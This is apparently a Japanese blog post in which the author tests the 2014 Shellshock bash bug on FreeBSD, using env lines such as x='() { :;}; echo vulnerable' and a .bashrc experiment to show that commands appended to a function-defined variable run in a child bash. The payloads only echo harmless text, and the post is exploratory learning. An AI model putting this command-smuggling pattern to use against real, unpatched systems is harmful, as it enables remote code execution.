これ http://seclists.org/oss-sec/2014/q3/649いろんな方がわかりやすく解説・まとめておられるので、そういうのがほしい方はそちらを読むといいと思います。ここでは遊んでみるだけですので参考にはなりませぬ。
あと、Linuxじゃないです。

環境について

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
$ uname -a
FreeBSD test 10.0-RELEASE FreeBSD 10.0-RELEASE #0 r260789: Thu Jan 16 22:34:59 UTC 2014     root@snap.freebsd.org:/usr/obj/usr/src/sys/GENERIC  amd64

$ bash --version
GNU bash, version 4.3.24(0)-release (amd64-portbld-freebsd10.0)
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

まずは普通にテスト

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
[kunst@test ~]$ env x='() { :;}; echo vulnerable' bash -c "echo lovenico!"
vulnerable
lovenico!

[kunst@test ~]$ env x='() { :;}; echo vulnerable' bash -c 'ls'
vulnerable
aaa

[kunst@test ~]$ env x='() { :;}; echo vulnerable' echo hogehoge
hogehoge

[kunst@test ~]$ env x='() { :;}; echo vulnerable' ls
aaa

[kunst@test ~]$ env x='() { :;}; echo vulnerable'
x=() { :;}; echo vulnerable
HOST=test
### 以下略

ちょと待て、envコマンドについてちゃんと理解していない

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
$ man env
ENV(1)                  FreeBSD General Commands Manual                 ENV(1)

NAME
     env -- set environment and execute command, or print environment

SYNOPSIS
     env [-iv] [-P altpath] [-S string] [-u name] [name=value ...]
         [utility [argument ...]]

DESCRIPTION
     The env utility executes another utility after modifying the environment
     as specified on the command line.  Each name=value option specifies the
     setting of an environment variable, name, with a value of value.  All
     such environment variables are set before the utility is executed.

以下略
envコマンドは環境変数を書き換えてからコマンドを実行するコマンド。

もう一度確認してみよう

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
[kunst@test ~]$ echo $SHELL
/usr/local/bin/bash
[kunst@test ~]$ env x='() { :;}; echo aho' bash -c "echo"
aho

[kunst@test ~]$ env x='() { :;}; echo aho' sh -c "echo"

[kunst@test ~]$ env x='() { :;}; echo aho' csh -c "echo"

[kunst@test ~]$ env x='() { :;}; echo aho' tcsh -c "echo"

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
$ echo $SHELL
/bin/tcsh
$ env x='() { :;}; echo aho' bash -c "echo"
aho

$ env x='() { :;}; echo aho' sh -c "echo"

$ env x='() { :;}; echo aho' csh -c "echo"

$ env x='() { :;}; echo aho' tcsh -c "echo"

なるほど、つまりこういうことね

1
2
3
4
5
6
$ echo "x='() { :;}; echo aho'">>.bashrc
$ bash
[kunst@test ~]$ 
[kunst@test ~]$ echo $x
() { :;}; echo aho

・・・・・・ありゃ???

1
2
3
4
5
$ echo "export x='() { :;}; echo aho'" > .bashrc
$ bash
[kunst@test ~]$ bash
aho

おお、なるほど、うむ。

つまり

「関数定義とコマンドが並べて書かれた環境変数を保持したbashからbashを呼び出すとコマンドが実行される」っていう現象なんですねぇ。